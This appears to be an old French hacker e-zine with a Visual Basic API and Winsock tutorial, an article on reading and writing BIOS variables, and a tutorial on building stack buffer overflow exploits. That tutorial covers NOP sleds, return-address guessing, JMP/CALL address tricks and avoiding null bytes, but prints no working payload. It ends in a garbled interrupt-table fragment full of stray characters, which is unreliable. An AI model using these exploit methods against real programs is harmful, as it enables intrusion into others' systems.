Dll deja fait. Rendez vous jusqu'à "SetCursorPos" Dclicker dessus, en bas apparait le call ou plutot le code a inserer dans un module. Commencez-vous a comprendre? Selectionner ce texte, et copy.. Maintenant nous allons faire un exemple avec ce call, biensur cet exemple n'aura aucun autre intérêt que vous faire comprendre comment utiliser un call de dll. *Faites vous une form --> Frm_Main *Inserez 2 boutons --> Cmd_Oui Cmd_Non (un avec une caption "Oui" et l'autre "Non" *Inserez un module --> Project/Add module --> Mod_1 -Maintenant inserez le call de Dll que vous avez copié dans l'api le voici: Declare Function SetCursorPos Lib "user32" Alias "SetCursorPos" (ByVal x As Long, ByVal y As Long) As Long Decortiquons ce code: *Declare--> declare une methode *Function--> precise que cette methode est FUNCTION *SetCursorPos--> Le nom de notre function *Lib--> indique la librairie que nous allons utiliser(ou plutot le dll) *"user32"--> le dll *Alias--> indique le nom utiliser pour appeler notre fonction dans un code *"SetCursorPos"->le nom que nous allon utiliser *(ByVal x As Long, ByVal y As Long) --> les coordonnees (X,Y) *As Long--> le type de la function Alors il vous reste juste a mettre du code dans le bouton. Disons que nous voulons que la personne ne puisse pas clicker sur le bouton NON alors: Private Sub Cmd_Non_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single) X = 200 Y = 200 SetCursorPos X, Y End Sub Tout simplement, nous avons attribué les coordonnées du curseur dans l'événement MouseMove, ce qui signifie que quand la souris bouge sur le bouton elle active le sub, et déplace le curseur avec la fonction SetCursorPos.. Voici ce que l'Api peut nous apporter et nous rendre la tâche facile... biensur ceci n'est qu'un banale exemple de ce que l'Api nous offre! Il n'est pas interdit d'explorer soi-même.... Amusez-vous bin avec ca... _____ __________ ___ ____ / \ | Winsock | \___ _____ ___________ __/ Cette partie est légerement plus longue du fait que ce n'est pas si facile que la partie précédante, malgrés que le control winsock n'est pas complexe. Ouvrez un projet Vb et ajoutez un control Winsock de la maniere expliquer en 1.2 Pour un Client mettez-vous un Bouton Connecter Deconnecter --> Cmd_Connecter--> Cmd_Deconnecter(caption "Connecter" et "Deconnecter") Dans le bouton de connection vous devez entrer le Port Host Protocol comme ceci : Objet.RemoteHost=Host Objet.RemotePort=Port Objet.Protocol=sckTCPProtocol Objet.Connect On pourrais remplacer l'objet par notre contrôle winsock, nommé par défault "Winsock1". Ce léger code nous permet de nous connecter a un serveur. Mais ceci est totalement facile. La seul embiguité c'est les structures des packets. C'estbeau d'être connecter, mais il faut envoyer et recevoir des données. Alors allez dans l'événement DataArrival du control winsock.Insérez ceci : Dim Donner as string Winsock1.GetData Donner, VbString, BytesTotal La méthode GetData recoit le packet et l'insert dans la variable Donner qui est de type VbString(String) avec sa longueur(BytesTotal). Ceci vous permet de trier ce qui va arriver. Disons que le packet envoyé et insérer dans Donner serait "Disconnect" alors: if (Donner = "Disconnect") then Winsock1.Close:MsgBox("Connection perdu",VbInformation+VbOkOnly,"Déconnecter") Interpretons cette ligne. Si le packet est égal a "Disconnect" alors fermer la connection a l'aide de Winsock1.Close et aviser l'utilisateur a l'aide d'une boite de dialogue. Il ne vous restes plus qu'à envoyer des packets et tout sera ok. Rien de plus simple: Winsock1.SendData "Disconnect" Et voilà vous venez d'envoyer un packet "Disconnect". Maintenant pour un serveur, c'est relativement simple. Tout ce qui reste a savoir c'est comment coder un programme qui attend un request de connection. Winsock1.Protocol=sckTCPProtocol Winsock1.LocalPort=666 Winsock1.Listen Nous avons mis le protocol Tcp, le port ecoutant les connections est 666 et en fin de compte on dit d'attendre une connection. Pour savoir si une connection est demander, l'événement ConnectionRequest du control Winsock s'en occupe: if (Winsock1.State <> sckClosed) then Winsock1.Close Winsock1.Accept RequestId Donc si le socket n'est pas fermer Vb le ferme, ensuite accept la connection. CONCLUSION: Je crois que vous en savez suffisament pour découvrir maintenant par vous même... _________ __________ __________ ____________________ / \ | Contact | \_____ ____________________________________ _________/ | | | Irc :Undernet,#Tsarmy,#Iga | | Email: The_mac_@geocities.com | | Icq : 31925098 | \______ ______________________ _______________________/ ___________________ [Quotes of the month]\____________________________ [Cette quotes n'est la que pour prendre .02 sec a votre d/l!] _________________ _____ _ ______ ____ __ __ _ _ _________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _ [' [#.18] _|_| BIOS : basic Input and output system \_________/_/ So CalleD _ ______ __ _ _ Shame on your board _/_/ [By:Qwzykx] \ ___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,] Ce mois ci, la F.A.M.I.L.L.E Slowmot découvre la table des variables du BiOS ! Dit papa c'est quoi ca les variables du BiOS? Ha TIto; Farme ta yeul. Après ce bref intro a le Feu Rock et belles oreilles,répondons à la question de notre ami Tito. Les variables du BIos c'est en fait un espace mémoire RAM dans laquelle devinez quoi.. Il se trouve des variables, non mais encore, c'est à cet endroit que les paramètres qui gèrent le "bon" fonctionnement de votre ordinateur se trouve. Mais que retrouve t-on a cette mystique et obscure pénombre de la RAM ? Par exemple, on y retrouve l'adresse de votre port série, celui de votre port parallèle, la configuration du hardware qui compose votre machine, l'état du clavier, les stats de votre HDD sans oublier la so useless Clock counter. Ha c'est beau avoir toutes ces connaissances sous la main, mais pourquoi pas les appliquer? Et pour cette seconde étape de notre cheminement pédagogique, il vous faudra savoir a quel endroit dans la RAM se trouve ces délicates et si hiddent informations. Et voici la réponse que vous attendiez tous avec tant de hâte, les variables commencent à l'adresse 0040:0000. Et je sens votre prochaine question qui l'aube a l'horizon : How to go there ? Et bien Tito, on va commencer par un peu d'exercice avec un programme qui se nomme DEBUG. Et n'ayez crainte, je suis sur que vous l'avez sur votre ordinateur en ce moment (phear!! et non ce n'est pas un trojan fait par notre ami JCzic). Debug est en fait un programme très mais quand je dis TRES insignifiant en grosseur mais qui ironiquement est encore plus gros en utilité.Tout en vous rappelant que le but de cet article n'est pas d'apprendre à programmer en Debug mode (assembleur), il est toute fois utile de bien savoir ce qu'on peut en tirer. C'est un peu comme modifier les sources codes de votre eggdrop, c'est pas vous autres qui l'avez coder mais on sait ou changer des affaires a notre avantage.Donc regardons Debug le magnifique, et pour tout ces lâches en mal de vivres j'ai moi-même sorties les commandes utiles à savoir dans le cadre ce cet article (et cadre est le mot juste!) Donc au-lieu de faire le classique: "?" vous allez descendre le curseur vers la ligne suivante. Non excuser, les deux prochaines lignes! Debug Basica commande option ripped by Qwzykx (with a " ? ") ? --> Première commande et la plus utile d'entre tous. d --> Cette commande vous présente le contenu d'une plage mémoire, très utiles pour voir vos paramètres. e --> Vous permet d'entrer une valeur a un endroit X, un peut comme une commande d'éditage q --> Gues what ! (Mom im stick in the Debug) Et c'est tout ce dont vous aurez besoin de savoir pour le plan éducatif de cette oeuvre littéraire. Par exemple, si je veux voir ce qui se trouve à l'adresse 0040:0000 (ha tien un effet de déjà vu) Après avoir lancer DEBUG, faite un dump pour voir la plage d'adresse en question : d 0040:0000 un espace de tableau arrivera à votre écran, vous venez de voir les variables du bios! (clap clap) A gauche complètement se trouve l'adresse et si vous remarquer bien, a chaques lignes, l'offset s'incremante de 10 (mais SnykeEye's que vous êtes, vous avez sûrement vu que le nombre ou groupe de chiffre sur une colonne est des 16 et non de 10!) Et on doit cette merveilleuse invention à Mr. Hexadécimal lui même, non mais ya rien de tel que cette méthode pour bien sentir la logique de la machine. Encore une fois le plus que généreux Qwzykx vous offre une table des caractères! Décimal Hexadécimal Binaire(sur 4 bits) ~~~~~~~ ~~~~~~~~~~~ ~~~~~~~ 0 0 0000 1 1 0001 2 2 0010 3 3 0011 4 4 0100 5 5 0101 6 6 0110 7 7 0111 8 8 1000 9 9 1001 10 A 1010 11 B 1011 12 C 1100 13 D 1101 14 E 1110 15 F 1111 Simple non? Le mode hexa décimal permet de couvrir la totalité des configurations de bits (4 dans ca cas ci) avec un seul caractère. Si par exemple vous voyez le chiffre 6 (et comme on utilise debug, tout en hexa) les bits représentés par ce chiffre seront: 0110. Si je mets sa encore plus simple, imaginer que j'ai quatre lumière brancher sur mon ordi pis que je dis : quand j'envoie un "1" (c'est du binaire la.. ca marche comme un interrupteur dans ca cas ci, 1=On 0=Off).Donc si je désire faire allumer les 3 premières lumières : 0111 avec mon ami l'ordinateur, je n'aurai qua envoyer le chiffre 7 (0111). Si je désire les faires toutes (1111) j'écrirais un F (1111).Mais comme ce type de numérotation permet 16 modes différents,les données sur votre ordinateur sont organiser en octet (8 bits). Par exemple : (0110 0101) on voit ici les huit bits. Donc si vous voyez ceci : (0101 0010) ne paniquer pas, rester calme, c'est le même principe que tento, on décode ca comme suit: 0101 = 5 et 0010 = 2 donc le chiffre sera: 52. Et si je vois le nombre 8C dans mes dump de debug, ca voudra dire que les bits associer sont : (1000 1100). Je contrôle donc 8 lumières et j'ai 256 possibilités différantes de les faires allumer. Voilà pour le mode Hexadécimal. Vous voyez maintenant pourquoi et comment l'adressage peut se faire sur les lignes de Debug.Par exemple si je marque l'adresse 0040:0000 (d 0040:0000), l'adresse pointer sera le premier octet de la ligne (un octet = 8 bits donc il sera codé avec deux caractères hexa). Si je vais à l'adresse 0040:000C (d 0040:000C), je me retrouver au 12e octet pointer par l'adresse ( C en hexa = 12 décimal). Et c'est pourquoi sur chaques lignes il y a 16 octets, la ligne suivante (0040:0010) est en fait la suite logique le 10 ne signifie pas dix mais 16 en décimal). P.S. Faudrait pas vous fourrer sur une ligne y a 16 octets (0 a 15) donc la ligne suivante sera de (16 a 31) et voici le mystère culte du "0"... Une fois de retour parmi le so fat Debug, et après s'être téléporté a l'adresse 0040:0000 (d 0040:0000), on peut voir plein de code bizarre, et non ce ne sont pas des strings binaires mais des codes hexadécimaux (désoler pour les fans du film Hacker, je viens de péter votre bulle de rêve la c'est sur!). Tout ce beau monde font partie des variables du Bios. 0040:00XX 00 --> Adresse des interfaces séries. A cette adresse vous retrouvez l'adresse du port associer à vos ports de communication séries, codée sur deux octets. Donc si vous voyez au début de la ligne ceci : F8 03 Un de vos ports série se trouve à l'adresse 3F8 (noter l'inversion dut à la méthode INTEL d'écriture des donnée) Si sur la même lignes vous voyez ceci: F8 03 F8 02 Comme le port est codé sur deux octets,et qu'ici on en retrouve 4, il y a donc 2 ports soit : 3F8 et 2F8. 08 --> Adresse des interfaces parallèles. Sur la même lignes que les interfaces série (on est à l'offset 08 sur la ligne 0040:0000, donc à la moitié de la ligne (16/2 = 8). Donc à cette adresse on retrouve l'adresse de votre ou de vos port(s) parallèles. 10 --> Configuration Codé sur deux octets, vous trouverez ici les configurations de votre machine, mais attention, vous serez surpris de voir ce que peuvent dire 4 caractères! Structure: Voici deux octets représenter en binaire. Comme un octet représente 8 bits, deux octets en représenteront 16 (de 0 a 15). |15|14|13|12|11|10|9|8|7|6|5|4|3|2|1|0| | | | | | | | | | | | | | | | | | .Les bits 15 et 14 représente ensemble, le nombre d'interfaces Imprimantes (comme c'est du binaire, on peut monter jusqu'à 3 imprimantes (00,01,10,11) (oublier pas que 00 ben ca veux dire qui a PAS d'imprimante!) .Les bits 13 et 12 sont Unused. .Les bits 11,10 et 9 représente ensemble, le nombre d'interfaces RS232 (port série) .Le bit 8 est Unused. .Les bits 7 et 6 indique le nombre d'unités disquette si le bit 0 est à 1. 00= 1 disk 01= 2 disk 10= 3 disk 11= 4 disk .Les bits 5 et 4 indique le mode vidéo lors du démarrage de l'ordi. 00 = non Non utilisé 01 = 40*25 caract. Couleur 10 = 80*25 caract. Couleur 11 = 80*25 caract. Mono .Les bits 3 et 2 son Unused. .Le bit 1 Indique si vous posséder un copossesseur mathématique. 17 --> Cette adresse vous donne l'état du clavier. Codé sur un octet : Chaque bit a "1" indique l'activation de ces états. Le bit 7 = Insert Le bit 6 = Caps Lock Le bit 5 = Num Lock Le bit 4 = Scroll Lock Le bit 3 = Touche Alt (actionné ou pas) Le bit 2 = Touche Ctrl (actionné ou pas) Le bit 1 = Shift Gauche " " " Le bit 0 = Shift Droite " " " 18 --> État du clavier étendu Codé sur un octet : Chaque bit a "1" indique l'activation de cet état. Le bit 7 = Insert pesée Le bit 6 = Caps Lock pesée Le bit 5 = Num pesée Le bit 4 = Break pesée Le bit 3 = Mode pause activée Le bit 2 = Print Screen pesée Le bit 1 = Alt pesée Le bit 0 = Ctrl pesée 3F --> État d'un lecteur de disquette les bits de faible (0 a 3) indiquent le lecteur en marche (1 logique) et le bit 7 est activer si il y a écriture sur le disque. 4A --> Nombre de colonne a l'écran Que dire de plus (oubliez pas de convertir la valeur lue en décimal!) 4C --> Taille de la page écran. Indique le nombre d'octet nécessaire pour afficher une page (un écran) dans le mode graphique en fonction. Ex: 80x25 = 2000 octets et comme chaques caractères est composé de son attribut (couleur, font, blink...) 2000 x 2 = 4000 octets et comme ceci est décimal -> 4000 ->FA0 en hexa et comme on marche sur du INTEL, la valeur sera inversé ->A00F (on inverse les couples d'octets) 6C --> Chronomètre Le chronomètre est codé sur 4 octets (32 bits). Celle-ci est remise à Zéro à chaques jours (24h). Vous pouvez allez lire la valeur du chronomètre mais oublier pas qu'encore une fois, le chiffre est en hexa et qu'il faudra l'inverse (vive Intel). 84 --> Nombre de lignes a l'écran Que dire de plus (oubliez pas de convertir la valeur lue en décimal!) Et oui, bien sur, il manque plusieurs autres variables je n'ai nommer ici que celles qui risqueraient de vous servir le plus. Et maintenant pour finir cet article, si on allait modifier ces variables à l'intérieur d'un programme. Et programmons en C! ------------[You should keep]----------- /****************[Exemple d'un changement de valeurs]************** * * Fait par: Qwzykx * Date: 25 mai 99 (on a raining night) * Version: 0.9999999999999999999999 (périodique) * ******************************************************************/ void main(void) //Début du programme. { int far *adress; //Déclaration d'un pointeur FAR (32 bit) adress = (int far *)0x00400017; //Initialisation de l'adress du pointeur //(L'adress 0040:0017 = Etat du clavier) *adress = 0x10; //La valeur pointé par le pointeur est //0001 0000 ---> Scroll lock allum‚ et //les autres sont fermés. } ------------[You should drop]----------- Pas trop compliquer j'espère! Pour conclure, je me fous pas mal que vous gossier le 286 de votre grand-mère avec ces renseignements la ou que vous planifier, comme Wyzeman et __2 la conquête du monde, veillez noter par contre que mon oncle Bill a avec lui ces matantes qui radote.Donc si vous prévoyez faire un programme qui accédera aux variables du bios, oubliez pas de coder en conséquence si vous voulez pas un petit message du genre : ___ / \ Ce programme va être arrêté parce qu'il à effectué ___________ | !!! |une opération non conforme. | Fermée | \___/ ~~~~~~~~~~~ Si le problème persiste, contactez le revendeur du programme. ___________ | Detail >> | ~~~~~~~~~~~ _________________ _____ _ ______ ____ __ __ _ _ _________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _ [' [#.19] _|_| Buffers overflow : be right back \_________/_/ So CalleD _ ______ __ _ _ le 6-eme passager _/_/ [By:_rix] \ ___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,] =========================== Apres l'excellente explication de __2 a propos des stacks smashings, il serait interessant de continuer et peut-etre d'essayer de voir un peu plus pratiquement comment on procede. Tout d'abord un petit rappel: Nous savons donc que la technique consiste a ecraser l'adresse de retour de la procedure, et cela en remplissant un buffer de donnees du programme qui a ete cree sur la pile. Tout ca est bien beau, mais sa pas l'air trop facile a programmer et a trouver :) TROUVER DES BUFFERS OVERFLOWS SUR LA PILE: ========================================== Le moyen le plus evident d'acceder a un buffer pour aller y ecrire est bien evidemment via les commandes de saisies habituelles d'un programme. Or, il se fait qu'en C, les librairies standards d'entree/sortie n'effectuent justemment aucune verification sur la taille des donnees ajoutees dans le buffer. [no bound-checking] Ca veut dire quoi ? Rappelez vous un petit peu les dernieres lecons du tutorial C de Wyzeman ;)) Vous vous souvenez que pour demander une valeur, on utilisait la petite fonction scanf(). Par exemple: char buffer[10]; scanf("%s",buffer); Reflechissons un ti peu. On voit donc que le buffer a une taille de 10. Donc ca veut dire que si on tape 11 caracteres...hehe vous devinez la suite ;) Une autre fonction fort utilisee pour la saisie en C est la fonction gets(). C'est en fait la meme fonction que scanf("%s",buffer), mais elle s'appelle comme ceci: gets(buffer); Ensuite, il y a toute une serie de fonctions qui permettent de traiter des chaine des caracteres: strcat(buffer1,buffer2) : cette fonction ajoute la chaine du buffer2 dans le buffer1. Donc si buffer1 est trop petit... :) strcpy(buffer1,buffer2) : cette fonction copie la chaine du buffer2 sur la chaine du buffer1.si le buffer est trop petit.;) Puis, il y a aussi les programmeurs qui utilisent des fonctions de lecture caractere par caractere, mais qui se disent: "ohhh, mes mot de passe ne seront jamais plus grand que 8, la personne n'a pas besoin de se planter, elle n'a qu'a taper un mot de passe plus petit que 8 !" lol :))) Voici quelques fonctions de lecture des caracteres: getc,getchar,... D'autres methodes, encore. Les commandes de gestion de fichier texte. Beaucoup de programmes Unix permettent de prendre des informations dans des fichiers au format texte. Il vous suffit d'essayer dans ces cas-la, de faire un fichier texte avec une ligne de 1000 caracteres, et vous verrez tres vite si le programme une fonction critique de lecture ;) Etant donner que toutes ces fonctions sont donc generalement utilisees avec des variables locales (sur la pile), il y a toute une serie de pistes possibles pour trouver des buffers overflows. Pour vous donner une idee, n'oubliez pas non plus que pas mal de programmes Unix sont fournis avec le code source, d'ou meme pas besoin de trop reflechir, suffit d'analyser le code source ;)))) Un ti exemple: Il y a e peu pres 2 ans je pense, un buffer overflow a ete trouve dans la commande SERVER du protocole IRC des serveurs IRC Undernet, qui n'acceptait pas plus qu'un certain nombres de caracteres. Chouette hein ! hehe ;) Ca voulait dire qu'en gros, vous pouviez planter tout le serveur Undernet, ou executer des commandes sur la machine meme du serveur. Hehe ! Je n'ai pas eu cette chance ouin, je l'ai apprit trop tard lol ;))))) Si vous voulez essayer d'en trouver, par exemple, le mieux consiste a charger le programme sur votre ordi, bien tranquillement, et de tester cela chez vous bien au chaud sans embeter personne ;) Ensuite, vous essayer toutes les saisies possibles, avec de longues chaines de caracteres. Sous Windows, suffit de foutre une bonne fois pour toute une longue chaine (1000 caracteres...) dans votre clipboard et de la coller a chaque fois, ca peut aller tres vite ;) Si le programme plante, avec une belle erreur, du style "erreur de page" ou un truc comme ca, c'est que vous venez probablement de trouver une petite mine d'or :)))) D'ou ca vient ? Ben vous avez tapez n'importe quoi dans votre buffer, donc ca a ete ecrasé l'adresse de retour avec n'importe quoi, et sous les systemes du genre Windows/linux sur Intel, ce n'est pas souvent autorisé de sauter a n'importe quelle adresse :) Voici quelques programmes connus dans lesquel on a trouvé des buffers overflows dernierement: - Internet Explorer 4.0 (connaissez vous ? ;) - Outlook Express (mailer de Micromachin ;) - wu-ftpd (serveur FTP Linux) - sendmail (programme pour envoyer des mails sous Unix) - Windows NT (paths trop longs) - IIS 4.0 (serveur Web sous Windows NT) OU EST CACHEE CETTE FOUTUE STACK ? ================================== Ben oui c'est bien pratique tout ca, mais le probleme est qu'on a souvent besoin d'avoir une idee a peu pres de l'adresse de retour que l'on va devoir remettre. Et la ca a l'air de se compliquer ;((( Dans les systemes Intel, pour les systemes multitaches genre Windows, Linux,.. la memoire est geree de maniere virtuelle. Ca veut dire que chaque programme pense qu'il est le seul en memoire, et qu'il a toute la place qu'il veut. Ca veut dire aussi que c'est le systeme qui se charge de faire les conversions d'adresses necessaires, etc... Donc nous n'avons pas exactemment besoin de connaitre l'emplacement exact de notre programme en memoire, juste de savoir dans "son bloc de memoire a lui" ou la stack se trouve. C'est deja un peu plus facile :) 2emement, c'est le compilateur qui definit les adresses de toutes les donnees contenues dans le fichier EXE a l'execution. Ca veut dire qu'une fois qu'on sait ou la pile commence, elle commencera toujours a cette endroit la, meme 10 ans plus tard ;) Mais ou c'est encore plus interessant, c'est que comme tout les programmes se pensent seuls en memoire, ils peuvent utiliser chacun les memes adresses "numeriques" virtuelles. Et le processeur Intel se sert justemment de cette particuliarité pour pouvoir switcher les taches plus facilemment. Ca veut dire que la pile d'un programme Windows/Linux se trouve toujours a la meme adresse virtuelle. Comment trouver cette adresse ? Il y a plusieurs moyens. Je vais parler ici des moyens sous Windows, mais ces moyens doivent aussi exister sous Linux, grace a des utilitaires comme GDB. Le 1er moyen est de sortir un bon gros debugger sous Windows, par exemple W32DASM (si vous ne connaissez pas, prenez le, c'est le meilleur ;) Vous lancer le debugging du programme dont vous voulez trouver la pile, puis vous allez tout simplement voir le contenu du registre ESP (registre de pile), tout au debut ,des que le programme est chargé. Le 2eme moyen est de creer un petit programme sous Windows, qui affiche au demarrage le contenu du registre ESP. Cela est assez facilemment programmable avec les fonctions d'inclusions d'operandes assembleur dans divers compilateurs C/C++: unsigned long esp(void) { asm mov eax,esp } void main() { printf("0x%x\n",esp()); } LE BUFFER ========= Maintenant que nous savons avec exactitude ou se trouve notre stack, il faudrait savoir ou dans la pile se trouve notre buffer. Le, il n'y a pas de solution radicale et d'adresse exacte: il faut chercher. C'est souvent ca le plus difficile a faire pour exploiter un buffer overflow. Mais il y a plusieurs petites idees qui peuvent nous aider a ne pas tapez completement au hasard. De nouveau, notre cher debugger peut nous aider, en faisant du pas a pas, a voir la maniere dont le registre ESP evolue au cours d'une execution pas a pas par exemple. Mais on peut aussi faire un semblant de calcul. Le nombre total de valeurs a tester ne sera de toute maniere jamais astronomique. Le nombre de procedures appelees les une dans les autres, n'excede pas souvent 50 appels. Ca fait 50*4=200 bytes. La dedans, il y a toutes les variables locales, le plus souvent des valeurs numeriques, donc 4 bytes a peu pres pour chacune. En comptant 50 variables locales dans chaque procedure (ce qui est deje enorme), on arrive a 200 bytes par procedure de nouveau. On peut eventuellement rajouter quelques buffers de caracteres dans les procedures, et on peut arriver a un total de 500 bytes par procedure. Etant donné que notre buffer overflow ne se trouve pas souvent dans la 50eme procedure appelee, supposons dans la 25eme par exemple: 25*4+500*25=12600 bytes. Or tout les bytes sur la pile sont alignes sur des valeurs de 4 bytes, donc ca nous fait 12600/4=3150 valeurs. Ca parait beaucoup, mais je vous rappelle qu'on a ici supposé un programme avec 25 procedures emboitees les unes dans les autres, et avec 50 variables locales dans chacune, ce qui est deje un programme assez enorme hehe ;)) En pratique, certains petits programmes utilisent une pile avec maximum 50 valeurs, ce qui est minime. Le probleme est que notre adresse de retour doit se trouver exactemment au bon endroit. Si le processeur saute un byte trop haut ou un byte trop bas, il plantera completement. Nous allons donc essayer d'adopter une "structure" pour notre buffer overflow, qui devrait maximiser nos chances de reussite. Tout d'abord, nous allons essayer d'utiliser l'instruction NOP. L'instruction NOP des processeurs Intel est une instruction qui n'execute rien :) A quoi cela peut-il nous servir ? Tout simplement, a eviter de connaitre l'adresse exact du debut de notre buffer. Si nous placons une serie d'instructions NOP au debut de celui-ci, nous pourrons assez facilement deviner ou se trouve plus ou moins le debut. Si le processeur ne tombe pas exactemment sur le debut, il executera des NOP jusqu'au debut des autres instructions utiles, et ne plantera donc pas. Ensuite, nous ne savons pas non plus exactemment a quel endroit se trouve notre valeur de retour sur la pile. Mais nous savons qu'une adresse de retour est de 4 bytes, et qu'elle doit se trouver apres la fin de notre buffer. Nous devons donc essayer d'aligner nos adresses de retour sur une valeur multiple de 4. Nous allons aussi ecrire plusieurs fois cette adresse de retour a la fin de notre chaene, pour avoir plus de chance que le processeur tombe dessus lors du retour de procedure. Nous allons donc ecrire notre buffer overflow de la maniere suivante: NNNNNNNNNNNNNNNNNNNNNNNNNNNccccccccccccccccccccccccaaaRRRRRRRRRRRRRRRRRRRRR Ou N represente une instruction NOP (codee 90h en assembleur). c represente le code reel de notre exploit. a represente des bytes d'alignement (de 0 a 3 suivant le besoin). R represente l'adresse approximative du debut de notre buffer. (approximative puisque il y a nos petits NOP devant ;)))) Pour calculer ce "R" (adresse approximative du buffer), nous devons partir de l'adresse contenur dans ESP, et y ajouter une certaine valeur, suivant le nombre de variables locales et de procedures appelees. Donc, pour realiser un buffer overflow, nous devons donc essayer de nous creer un petit outil dans lequel on entre les parametres suivants: -facteur d'alignement (0 a 3): va modifier le nombre de "a" apres notre code. -adresse approximative du debut du buffer: a placer dans les "R", et egale a la valeur du ESP de depart, duquel on a soustrait un certain nombres de byte (car la pile descend ;) -taille supposee du buffer: de cette maniere notre outil saura combien de NOP inserer au debut du buffer, en soustrayant la longueur de notre code "c" de la longueur totale supposee du buffer. Il est aussi interessant de noter que pour des raisons basees sur l'hexadecimal, beaucoup de programmeurs creent des buffers de tailles multiple de 2 et meme plus generalement multiples de 16. Cet outil est bien evidemment dependant du programme que l'on cherche a smasher. En effet, dans le cas d'un serveur FTP par exemple, cet outil doit d'abord ouvrir la connection, puis faire le login, etc et enfin entrer la commande qui provoque le buffer overflow, avec notre chaine de buffer overflow dedans, adaptee selon les parametres. Maintenant, il nous reste le principal: Creer le code du programme que l'on veut foutre dans le buffer. Pour cela, c'est bien evidemment un programme en assembleur que vous allez devoir ecrire. Une fois ce petit programme bien teste de maniere independante du buffer overflow, il faut le dumper, c'est a dire le coder sous forme de valeur hexadecimal (WIN32DASM fournit les dumps d'un programme executables), car ce sont ces valeurs hexadecimals que nous allons devoir entrer dans le buffer. Il faut aussi remarquer que notre code va etre executé, mais lors de sa terminaison, il va vouloir aller rechercher la valeur de retour sur la pile ou il va tout simplement continuer a executer ce qui se trouve en memoire, ce qui dans les 2 cas provoquera un plantage tres rapide du systeme ;) Donc, il est preferable de creer un petit code qui boucle indefiniment, ou qui n'autorise pas une sortie, de maniere a eviter ce probleme. Voila, cela devient presque un jeu d'enfant de tester les buffers overflows lol ;) Une fois les parametres exacts trouves, sauver les 10 fois hehe ;) En effet, ces valeurs dans un programme normalement constitué ne varieront pas, du moins si vous executer toujours la meme sequence initialise de login etc dans votre outil. LES ADRESSES LOCALES ==================== Comment faire pour utiliser des variables dans notre propre code ? Par exemple, nous voulons que notre code lance un programme dont nous placons le nom dans une chaine de caracteres. Il nous faut donc l'offset exacte de la chaine de caractere dans notre code. Pour cela, on va utiliser quelques instructions en assembleur, qui seront bien utiles. L'instruction CALL, qui appelle une procedure, possede une propriete interessante. Elle laisse en effet l'adresse de l'instruction suivant l'instruction appelante sur la pile. Normalement cette adresse est utilisee par le RET, pour revenir a la procedure appelante. Mais le processeur ne sait pas si ce qui suit le CALL est une instruction ou bien des donnees diverses. De plus, l'instruction JMP permet de specifier des deplacements relatifs, c'est a dire de ne pas donner l'adresser reel du saut, mais bien de dire que le saut se trouve a par exemple 10 bytes de l'adresse courante. Nous allons donc proceder de la maniere suivante: Nous allons donc organiser notre code ("ccccc" dans le schema precedent) de la maniere suivante: JPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPCCssssssssssssssssssssss Ou J represente un saut relatif (JUMP SHORT) vers C P represente les instructions de notre code proprement-dit C represente une instruction CALL suivie de l'adresse du debut de notre code reel (=adresse mise dans "R" sur la pile tantot+2, a cause du JMP SHORT du debut de notre programme, qui est code sur 2 octets). s represente les caracteres de notre chaine dont on veut connaitre l'adresse exacte. Que va-t-il se passer ? JPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPCCssssssssssssssssssssss || || ||_______________(1 ->)_________________|| | | |_______________(2 <-)__________________| Le processeur va executer notre JMP SHORT jusqu'au CALL. Le CALL va placer l'adresse de ce qui le suit (justemment l'adresse de notre chaine ;) sur la pile, puis va sauter a l'instruction qui suit notre JMP SHORT au debut de notre code. Pour recuperer l'adresse de notre chaine, on a plus qu'a faire un petit POP EAX par exemple, et l'adresse de notre chaine se trouve dans EAX :))) PETITES PROBLEMES ================= Il y a certains petits problemes qui peuvent encore apparaitre lors de la realisation du buffer overflow. Le 1er probleme est le cas du foutu caractere 00h ;) Si dans notre code de programme a placer dans le buffer, nous avons un caractere 00h, cela peut poser probleme. En effet, en C, le caractere 00h indique une fin de chaine, et donc la suite de notre code pourrait ne sera pas etre chargee dans certains cas. Il n'est pas complique d'eviter ces caracteres, il suffit de chipoter avec les commandes assembleur utilisees dans le code. Par exemple, a la place de faire: mov eax,0 on peut faire: sub eax,eax ou encore xor eax,eax etc... ;) Le 2eme probleme est l'utilisation de la pile. En effet, si nous voulons utiliser la pile pour mettre des parametres, nous risquons d'aller ecraser notre code lui-meme !!! Or, toutes les fonctions APIs de Windows par exemple, necessite le passage des parametres sur la pile ! On risque donc de tout casser ;) Pour eviter cela, il suffit tout simplement au debut de notre code de modifier la pile pour qu'elle commence en dessous du code de notre programme. Pour cela, il suffit de placer une instruction SUB ESP,T Ou T represente une valeur qui est plus grande que la taille de notre buffer (taille fournie tantot comme parametre dans notre petit "outil"). Comme cela, la pile continuera en dessous de notre petit programme, sans aucun probleme. Voile, j'espere que vous voyez maintenant un peu mieux comment programmer pratiquement des buffers overflows... Maintenant il ne vous restent plus qu'a les trouver hehe ;) Pour un prochain article, on va ptet envisager avec __2 de vous proposer un code de buffer overflow complet, on verra ;) Ciaaaaaaaooooooooooooooo Rix-Agressor-Shogun >¿ cInt 67h, Fct 5Ah, sous-Fct 00h Alloue des pages EMS LIM/EMS (> 4.0)~ˆcInt 67h, Fct 5Ah, sous-Fct 01h Alloue des pages EMS non standardisées LIM/EMS (> 4.0) dInt 67h, Fct 5Bh Utile dans les transferts DMA LIM/EMS (> 4.0)¢ dInt 67h, Fct 5Ch Prépare l'EMS à un redémarrage à chaud LIM/EMS (> 4.0)°‡dInt 67h, Fct 5Dh Utile pour inactiver le système d'exploitation LIM/EMS (> 4.0)`‰dFonctions XMSveInt 2Fh, Fct 00h Lire le numéro de version XMS XMS€eInt 2Fh, Fct 01h Réserver une HMA (High Memory Area ou zone de mémoire haute) XMS™fInt 2Fh, Fct 02h Libérer la HMA XMS; fInt 2Fh, Fct 03h Activation globale de l'adresse de ligne A20 XMA)ŠfInt 2Fh, Fct 04h Fermeture globale de la ligne d'adresse A20 XMS/gInt 2Fh, Fct 05h Libération locale de la ligne d'adresse A20 XMS.†gInt 2Fh, Fct 06h Verrouillage local de la ligne d'adresse A20 XMS}hInt 2Fh, Fct 07h Obtenir l'état de la ligne d'adresse A20 XMS€hInt 2Fh, Fct 08h Déterminer la taille de la mémoire étendue disponible XMS"†hInt 2Fh, Fct 09h Allouer un bloc de mémoire 